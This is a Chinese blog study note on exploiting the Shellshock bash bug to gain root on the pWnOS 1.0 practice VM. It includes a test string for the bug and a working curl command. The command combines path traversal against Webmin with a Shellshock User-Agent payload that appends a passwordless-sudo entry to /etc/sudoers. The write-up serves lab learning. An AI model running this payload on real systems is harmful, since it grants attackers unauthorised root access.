学习笔记 | Shellshock漏洞利用提权

漏洞存在于bash<4.3之前的版本。

Bash解释器在解释环境变量时,不仅仅是简单地替换变量的值,它还会对变量的内容进行解释,包括其中可能存在的特殊字符和命令。这就是为什么插入恶意函数之后,这些函数能够被执行的原因。

在Shellshock漏洞中,攻击者可以通过在环境变量中插入恶意代码,例如函数定义,然后触发Bash解释器执行这些代码。这是因为Bash解释器在解释环境变量时,并不仅仅是将变量的值替换为文本,而是会尝试解释其中的特殊字符和命令。

如果在环境变量中插入了以下内容:

env FUNC='() { echo "66666!"; }; echo "shellshock" '

 当Bash解释器遇到这个环境变量时,它会尝试将 FUNC 定义为一个函数。然后,如果有任何触发条件,比如执行后面的命令时,Bash会执行这个恶意函数,并输出语句。这样可以证明漏洞存在。

 在提权之前,先在目标主机写一个文件baji.cgi其中写入#!/bin/bash,这个文件可以用来触发bash解释器。之后添加执行权限。

 这次的pWnOS1.0靶机有任意文件读取漏洞,所以只需要在读取时添加

/bin/echo "vmware ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers

去提权就行,

借助漏洞利用的脚本直接更改脚本内容,发现不行,我不会改perl语言。看了别的大佬是借助核心代码构造url并用curl命令去读取。

curl http://192.168.230.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/baji.cgi -A '() { :; }; /bin/echo "vmware ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers'

提权成功

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值